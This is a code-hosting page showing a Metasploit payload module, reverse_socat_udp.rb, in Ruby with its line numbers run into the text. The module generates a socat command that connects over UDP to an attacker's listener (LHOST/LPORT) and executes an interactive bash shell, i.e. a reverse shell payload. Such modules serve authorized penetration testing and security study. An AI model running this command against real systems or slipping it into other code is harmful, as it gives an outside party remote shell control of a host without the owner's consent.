Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 87910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse UDP (via socat)',16'Description' => 'Creates an interactive shell via socat',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseUdp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'socat',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31register_advanced_options(32[33OptString.new('SocatPath', [true, 'The path to the Socat executable', 'socat']),34OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash'])35]36)37end3839#40# Constructs the payload41#42def generate(_opts = {})43vprint_good(command_string)44return super + command_string45end4647#48# Returns the command string to use for execution49#50def command_string51"#{datastore['SocatPath']} udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'#{datastore['BashPath']} -li',pty,stderr,sane 2>&1>/dev/null &"52end5354end555657